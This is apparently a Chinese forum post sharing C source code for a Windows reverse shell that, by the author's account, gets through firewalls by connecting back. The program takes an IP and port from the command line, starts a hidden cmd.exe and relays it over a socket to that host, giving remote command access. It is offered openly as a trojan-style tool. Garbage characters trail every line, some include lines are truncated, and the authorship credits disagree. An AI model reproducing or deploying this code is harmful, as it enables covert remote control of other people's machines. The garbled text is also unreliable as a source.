这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2jA-y!(e
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/* ============================== uP<tP:
Rebound port in Windows NT *;Sj&O
By wind,2006/7 @<;0h|
===============================*/ |LWG7
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#include FL-sXg
#include
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# sm>;+J
#pragma comment(lib,"wsock32.lib") n YWS'i@
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void OutputShell(); i#=s_v8
SOCKET sClient; ?o?~Df&
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^pIT,|myY7
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void main(int argc,char **argv) xmsw'\
{ 1UT&kD!si
WSADATA stWsaData; (w`9*1NO
int nRet; ]+Ik/+Nz
SOCKADDR_IN stSaiClient,stSaiServer; |aIY
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if(argc != 3) -lAX-W0
{ *;5P65:u$>
printf("Useage:\n\rRebound DestIP DestPort\n"); f+d[Q1
return; &3#19v7/
} 7&-B6Y4
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WSAStartup(MAKEWORD(2,2),&stWsaData); `2.[8%6
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Xz4T_-X8d
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stSaiClient.sin_family = AF_INET; 3\JEp,5
stSaiClient.sin_port = htons(0); /N>f#:}
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {)=h
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) AXFQd@#
{ 'So,*>]63
printf("Bind Socket Failed!\n"); }]VFLBl`w
return; ^--kcTiR%
} U|ZYoc+](
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stSaiServer.sin_family = AF_INET; ,aq0Q<}~lc
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); }g&A=u_2
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^qvN:v$1
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) dX^ ^
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{ yUd>EnQna
printf("Connect Error!"); QmxI;l
return; Pk)>@F<
} ;=r_R!d@
OutputShell(); awu18(;J
} `-yo-59E[
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void OutputShell() #O<,
{ ' m^nKG$"
char szBuff[1024]; N5K\h}'%
SECURITY_ATTRIBUTES stSecurityAttributes; b5!D('w>]
OSVERSIONINFO stOsversionInfo; (+aU ,EQ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Y-YlQ^
STARTUPINFO stStartupInfo; '/O >#1
char *szShell; 1xBgb/+
PROCESS_INFORMATION stProcessInformation; |tn.ZEgw3~
unsigned long lBytesRead; z}.Q~4 f0D
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); e)BU6m%
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4>R)2g
stSecurityAttributes.lpSecurityDescriptor = 0; X^o0t^
stSecurityAttributes.bInheritHandle = TRUE; lD9QS ;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); y?Cq{(
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); W#Eg\nT
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); a'!p^/6?
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $ VTk0J-W
stStartupInfo.wShowWindow = SW_HIDE; BG/Q7s-?K
stStartupInfo.hStdInput = hReadPipe; X+7@8)1(
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8{4SaT.-Rm
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GetVersionEx(&stOsversionInfo); taBCE?{
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switch(stOsversionInfo.dwPlatformId) {ovW6#
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case 1: .dPy<6E
szShell = "command.com"; T/$hN hQK
break; 5c
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default: '5etZ!:
szShell = "cmd.exe"; AGGNJ4m
break; Vw";< <0HZ
} ]j: aO
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0zc~!r~
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send(sClient,szMsg,77,0); \f4JIsZ-&
while(1) A}W}H;8x
{ 2fFGS.l
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Z/oP?2/Afh
if(lBytesRead) tlyDXB~+
{ .azA1@V|
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7N8a48$8
send(sClient,szBuff,lBytesRead,0); _FxQl]@
} I*4g ;1x
else qr'P0+|~5
{ ^kh@AgG^
lBytesRead=recv(sClient,szBuff,1024,0); >5M Hn@
if(lBytesRead<=0) break; 3?r?)$Jk
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); i p;
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} 3:MAdh[w
} Bhf4 /$
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return; uePa4e!
}